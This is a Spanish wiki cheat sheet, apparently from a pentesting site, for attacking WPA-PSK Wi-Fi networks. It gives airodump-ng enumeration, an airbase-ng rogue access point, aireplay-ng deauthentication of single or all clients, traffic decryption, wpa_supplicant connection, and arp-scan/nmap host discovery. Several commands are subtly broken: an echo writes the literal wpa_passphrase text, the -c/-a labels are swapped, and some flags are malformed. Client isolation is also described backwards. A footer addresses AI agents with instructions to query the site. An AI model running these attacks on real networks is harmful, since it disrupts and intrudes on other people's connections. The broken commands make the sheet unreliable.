# Redes PSK

## 1. Enumeración

#### Teniendo en cuenta que la tarjeta de red está en modo MONITOR

* Para enumerar todas las redes a tu alrededor

```bash
airodump-ng -band abg [wlan0mon]  
```

* Para limitar la enumeración a un ESSID y guardar el resultado

```xojo
airodump-ng -band abg [wlan0mon] --esid [ESSID] -w outputFile
```

* Para limitar la enumeración a varios ESSIDs y guardar el resultado

```
airodump-ng --band abg [wlan0mon] --essid-regex 'ESSID1|ESSID2|ESSID3' -w outputFile
```

* Para enumerar las redes de canales determinados

```bash
airodump-ng -band abg -c [44,60,11] [wlan0mon]
```

* Para enumerar los fabricantes de los puntos de acceso

```
airodump-ng -band abg [wlan0mon] --manufacturer
```

#### Teniendo en cuenta que la tarjeta de red está en modo MANAGE

* Para ver los APs disponibles en el entorno

```bash
iwlist [wlan0] scan | grep [ESSID] -i
```

## 2. Habilitar Rogue APs de una red

Para suplantar la red necesitamos 2 terminales:

Terminal 1 -> Escanea los AP cercanos con el BSSID a suplantar

```bash
airodump-ng --band abg [wlan0mon] --essid [ESSID]
```

Terminal 2 -> Levanta un AP con el nombre de la red (BSSID) a suplantar con nuestra MAC

```
airbase-ng -e [ESSID] -v [wlan0mon]
```

## 3. Des-autenticar clientes conectados a una red

* Escaneo de las redes

```bash
airodump-ng -c [canal] --essid [ESSID] [wlan0mon]
```

* Desautenticación de un cliente de la red

{% code overflow="wrap" %}

```bash
aireplay-ng -0 0 --essid [ESSID] -c [APDeLaRedVictima] -a [MACDelClienteADesautenticar] [wlan0mon]
```

{% endcode %}

* Desautenticación de todos los cliente de la red

```bash
aireplay-ng -0 0 --essid [ESSID] -c [APDeLaRedVictima] [wlan0mon]
```

## 4. Descifrar tráfico capturado de una red

```bash
airdecap-ng [fichero.cap] -p [password] -e [ESSID]
```

## 5. Conexión a la red

Una vez tenemos la contraseña de la red, para autenticarnos podemos generar el fichero "wpa\_supplicant\_ESSID.conf"

En este fichero necesitamos el hash PSK, que lo generamos con wpa\_passphrase

```
echo "wpa_passphrase [ESSID] [password]" > wpa_supplicant_ESSID.conf
```

Y obtendremos algo como:

```
network={
    ssid="MYSSID"
    #psk="passphrase"
    psk=4930a14b99a5884d2bbfa0fe7c3210bf6da8eb5788a0ec69a7507c5f0328a096
}
```

Con este resultado podremos conectarnos a la red (con la interfaz en modo managed)

```
wpa_supplicant -c [wpa_supplicant_ESSID.conf] -i [wlan1]
```

{% hint style="info" %}
Una vez lanzado este comando, debemos leer los EVENT-SCAN-RESULTS para analizar los posibles fallos en la conexión (CTRL-EVENT-SCAN-FAILED).

Cuanto veamos EVENT-SCAN-CONNECTED habremos conseguido conectarnos a la red.
{% endhint %}

Una vez conectados debemos solicitar una dirección IP al DHCP.

```
dhclient [wlan1] -v
```

## 6. Recursos accesibles

Cuando tenemos asignada una dirección IP en la red podemos saber el rango que tiene la red, lo que nos permite escanearla en busca de dispositivos conectados.&#x20;

* Client isolation. Esta característica lo que permite es que se puedan visualizar el resto de dispositivos conectados en la red.

```
sudo arp-scan --interface=wlan0 --localnet
```

* Nmap, que nos va a mostrar más nivel de detalle según las opciones que queramos obtener de los servicios disponibles en direcciones IP habilitadas.

```
nmap -Pn IP/rango
```

En los resultados que obtengamos podemos realizar nmaps que nos den más detalles de los servicios expuestos.

## Recursos y enlaces de referencia

* <https://wiki.archlinux.org/title/wpa_supplicant>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://wiki.securiters.com/securiters-wiki/wifi/psk.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
